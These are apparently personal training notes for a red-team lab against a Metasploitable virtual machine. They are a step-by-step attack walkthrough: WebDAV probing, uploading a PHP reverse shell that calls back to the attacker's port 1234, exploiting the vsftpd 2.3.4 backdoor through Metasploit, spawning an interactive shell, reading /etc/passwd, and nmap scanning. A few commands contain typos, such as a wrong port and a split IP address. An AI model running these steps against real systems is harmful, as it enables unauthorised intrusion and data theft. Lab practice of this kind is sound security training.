Lab Key Notes - AD Red Team

Attacker Machine(192.168.50.2) - Victim Machine(Metasploitable)- (192.168.50.3)

Perform at Attacker Machine:

nc 192.168.50.3 80  --> Victim Machine

OPTIONS http://192.168.50.3

host:192.168.50.3

OPTIONS http://192.168.50.3/dav/ HTTP/1.0

host:192.168.50.3

Upload php Web Shell:

cadaver http://192.168.50.3/dav/

ls /usr/share/webshells/php/

nano /usr/share/webshells/php/php-reverse-shell.php

change to ip: attacker machine (192.168.50.2)

port: 1234

Upload shell:

put /usr/share/webshells/php/php-reverse-shell.php

Get Reverse Shell:

nc -nlvp 1234

Basic Commands:

$ ifconfig

$ /sbin/ifconfig

Tool: MSFConsole 

$ msfconsole

$ search vsftpd

$ found ==> exploit/unix/ftp/vsftpd_234_backdoor

$ use exploit/unix/ftp/vsftpd_234_backdoor

$ show options

$ set RHOSTS 192.168.50.3 (Victim Machine) 

$ set verbose true

$ run

Get the command shell:

whoami

It launches a real bash shell through Python by attaching it to a pseudo-terminal, improving interactivity compared to just running /bin/bash directly in some constrained environments.

Command: python -c "import pty;pty.spawn('/bin/bash')"

$ cat /etc/passwd

Tool: NetDiscover

To find the alive hosts in network:

Command: netdiscover -r 192.168.50.0/24

Tool: NMAP

Command: nmap -sn 192.168.50.0/24

nmap 192.168.50.3

Port Scan:

nmap -p 80 192.168.50 .3

Service Version Detection: SSH (22)

nmap -p 22 -sV 192.168.50.3

FTP(21)

nmap -p 22 -sV 192.168.50.3

Script:

nmap --script-help all

nmap --script ftp-vsftpd-backdoor -p 21 192.168.50.3